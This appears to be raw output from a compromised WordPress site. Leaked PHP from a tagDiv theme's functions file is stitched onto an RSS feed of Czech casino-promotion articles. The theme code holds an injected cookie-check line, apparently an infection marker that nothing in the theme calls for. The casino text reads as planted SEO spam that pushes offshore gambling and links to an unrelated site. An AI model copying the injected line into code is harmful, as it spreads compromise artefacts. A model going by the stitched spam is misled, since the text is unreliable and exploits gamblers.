/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = ''; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } zsdidaktis – rudrabarta.com https://rudrabarta.com Mon, 23 Feb 2026 16:27:36 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Zahraniční online kasina Co potřebujete vědět -1018895825 https://rudrabarta.com/zahranini-online-kasina-co-potebujete-vdt/ https://rudrabarta.com/zahranini-online-kasina-co-potebujete-vdt/#respond Sun, 22 Feb 2026 17:04:26 +0000 https://rudrabarta.com/?p=23939 Zahraniční online kasina Co potřebujete vědět -1018895825

V současné době zažíváme boom zahraniční online casino https://zsdidaktis.cz/ a zahraniční platformy se stávají čím dál populárnějšími mezi hráči v Česku. Zahraniční online kasina nabízejí širokou škálu her, bonusů a možností, které mohou být pro české hráče velmi přitažlivé. V tomto článku se podíváme na to, co zahraniční online kasina nabízejí, jaké jsou jejich výhody a nevýhody a jak si vybrat to pravé kasino pro vaše potřeby.

Co jsou zahraniční online kasina?

Zahraniční online kasina jsou herní platformy, které jsou registrovány a provozovány mimo Českou republiku. Tyto platformy často nabízejí širokou škálu her, od klasických stolních her jako blackjack a ruleta po moderní video automaty. Kromě toho také často poskytují atraktivní bonusy a nabídky, které mohou být pro hráče velmi lákavé.

Výhody zahraničních online casin

Existuje několik důvodů, proč se hráči rozhodují pro zahraniční online kasina:

  • Široká nabídka her: Zahraniční online kasina obvykle poskytují mnohem širší sortiment her než česká kasina. Můžete si vybrat z tisíců různých automatů, stolních her a živých dealerů.
  • Vysoké bonusy a promoakce: Zahraniční kasina často nabízejí mnohem větší bonusy pro nové hráče, včetně uvítacích bonusů a pravidelných promoakcí.
  • Různé platební metody: Zahraniční online kasina často nabízejí více možností vkladu a výběru, včetně kryptoměn, což může být pro některé hráče výhodné.
  • Přísnější regulace a ochrana hráčů: Mnohá zahraniční kasina mají přísné licenci a regulace, které zajišťují bezpečnost hráčů a spravedlivé hraní.

Nevýhody zahraničních online casin

Zahraniční online kasina Co potřebujete vědět -1018895825

Přestože má zahraniční online kasina mnoho výhod, existují i nevýhody, které byste měli zvážit:

  • Právní otázky: Hraní v zahraničních online kasinech může být pro některé hráče právně problematické. Vždy je dobré se informovat o zákonech ve vaší zemi.
  • Porozumění podmínkám: Zahraniční kasina často mají složité podmínky a pravidla, které mohou být pro české hráče těžko srozumitelné.
  • Možné jazykové bariéry: Některá zahraniční kasina nemusí mít českou verzi webových stránek, což může ztížit orientaci pro nováčky.

Jak si vybrat zahraniční online kasino

Při výběru zahraničního online kasina je dobré mít na paměti několik faktorů:

  1. Licencování: Ujistěte se, že kasino má platnou licenci od důvěryhodného regulačního orgánu.
  2. Herní nabídka: Zkontrolujte, zda kasino nabízí hry, které vás zajímají.
  3. Bonusy a promoakce: Porovnejte bonusy a promoakce různých kasin, abyste našli tu nejlepší nabídku.
  4. Zákaznický servis: Ověřte si, jak kvalitní zákaznický servis kasino poskytuje, zejména pokud budete potřebovat pomoc při vkladech nebo výběrech.
  5. Recenze a zkušenosti ostatních hráčů: Přečtěte si recenze a názory ostatních hráčů na různé platformy, abyste získali lepší představu o tom, co očekávat.

Závěr

Zahraniční online kasina mohou nabídnout unikátní zážitek pro české hráče. Jejich široká nabídka her, atraktivní bonusy a různorodé platební metody je činí populárními. Nicméně, jako u každého hazardního hraní, je důležité hrát zodpovědně a mít na paměti všechny právní a bezpečnostní aspekty. Doufáme, že tento článek vám pomůže při rozhodování a že si užijete hru v online kasinech!

]]>
https://rudrabarta.com/zahranini-online-kasina-co-potebujete-vdt/feed/ 0
Casino za realne penize Objevte nejlepší možnosti sázení https://rudrabarta.com/casino-za-realne-penize-objevte-nejlepi-monosti/ https://rudrabarta.com/casino-za-realne-penize-objevte-nejlepi-monosti/#respond Sun, 22 Feb 2026 17:04:25 +0000 https://rudrabarta.com/?p=23925 Casino za realne penize Objevte nejlepší možnosti sázení

Casino za realne penize: Objevte nejlepší možnosti sázení

Pokud hledáte vzrušení a možnost vyhrát skutečné peníze, online casina za realne penize jsou ideální volbou. Dnes se podíváme na to, co vše vás čeká ve světě online sázení. Ať už jste zkušený hráč, nebo sázkař teprve začínáte, tento článek vám poskytne užitečné informace a tipy, jak vybírat to nejlepší místo pro své sázky. Když už jsme u toho, v roce 2026 se můžete těšit na casino za realne penize nejlepší zahraniční casino 2026, které slibuje dokonalý zážitek.

Jak vybrat nejlepší online casino za reálné peníze?

Při výběru online casina je třeba zvážit několik důležitých faktorů. Prvním z nich je licencování. Ujistěte se, že casino má platnou licenci od uznávaného regulačního orgánu, jako je Malta Gaming Authority nebo UK Gambling Commission. Tato licence zaručuje, že casino funguje legálně a dodržuje přísná pravidla.

Dále se soustřeďte na nabídku her. V současné době je na trhu mnoho různých typů her, včetně klasických výherních automatů, stolních her, live dealer her a dalších. Ujistěte se, že vybrané casino nabízí hry od renomovaných poskytovatelů, jako jsou Microgaming, NetEnt nebo Playtech. Kvalita grafiky a hratelnosti je často znakem dobrého online casina.

Bonusy a promoakce

Dalším významným faktorem při výběru online casina jsou bonusy a promoakce. Mnoho casin nabízí štědré uvítací bonusy, které zahrnují jak bonusové prostředky, tak roztočení zdarma. Je důležité si přečíst podmínky těchto bonusů, abyste věděli, jak je můžete využít a co vše vás čeká. Pozor na požadavky na protočení, které mohou být mnohdy velmi vysoké.

Bezpečnost a podpora hráčů

Bezpečnost hráčů je v online casinech nesmírně důležitá. Ujistěte se, že casino využívá moderní šifrovací technologie, aby chránilo vaše osobní a finanční informace. Dále je dobré vybrat casino s dobrou zákaznickou podporou, která je k dispozici 24/7. Měla by nabízet různé kanály komunikace, včetně live chatu, e-mailu a telefonního čísla.

Casino za realne penize Objevte nejlepší možnosti sázení

Možnost výběru a vkladu

Dalším důležitým aspektem jsou možnosti vkladu a výběru. Dnes existuje řada platebních metod, které můžete využít, včetně kreditních karet, elektronických peněženek a kryptoměn. Ujistěte se, že vybrané casino podporuje pro vás pohodlné platební možnosti, a také zkontrolujte časy zpracování výběrů. Některá casina mohou mít rychlé výplaty, zatímco jiná mohou trvat déle.

Zodpovědné hraní

Při hraní v online casinu je důležité udržovat zdravý přístup. Zodpovědné hraní zahrnuje nastavení rozpočtu a dodržování časových limitů. Pokud zjistíte, že se vám hraní vymklo z rukou, neváhejte vyhledat pomoc. Mnoho online casin nabízí nástroje pro seberegulaci, které vám mohou pomoci sledovat vaše herní návyky.

Nejnovější trendy v online casinech

Online hazardní hry se neustále vyvíjejí. V posledních letech se staly populárními live dealer hry, které nabízejí hráčům pocit skutečného kasina z pohodlí domova. Taktéž rostoucí popularita mobilních aplikací umožnila hráčům sázet kdykoli a kdekoli. Zajímavé je také spojení s technologií blockchain a kryptoměnami, které přinášejí nové možnosti sázení.

Hry, které si nenechte ujít

Mezi nejoblíbenější hry v online casinech patří výherní automaty, blackjack, ruleta a poker. Každá z těchto her má své vlastní strategie a pravidla, takže je dobré se s nimi seznámit. Výherní automaty často nabízejí obrovské jackpoty, zatímco strategické hry jako blackjack a poker vyžadují dovednosti a plánování. Pokud se rádi učíte, vyzkoušejte si tyto hry zdarma, abyste si osvojili základy.

Závěr

Online casina za realne penize mohou nabídnout vzrušující a zábavný způsob, jak si přivydělat, ale vždy je důležité hrát zodpovědně. Mějte na paměti tipy uvedené v tomto článku při výběru online casina a užijte si skvělé herní zážitky. S postupem času se technologie a trendy vyvíjejí, a tak se nezapomeňte informovat o novinkách ve světě online hazardu.

]]>
https://rudrabarta.com/casino-za-realne-penize-objevte-nejlepi-monosti/feed/ 0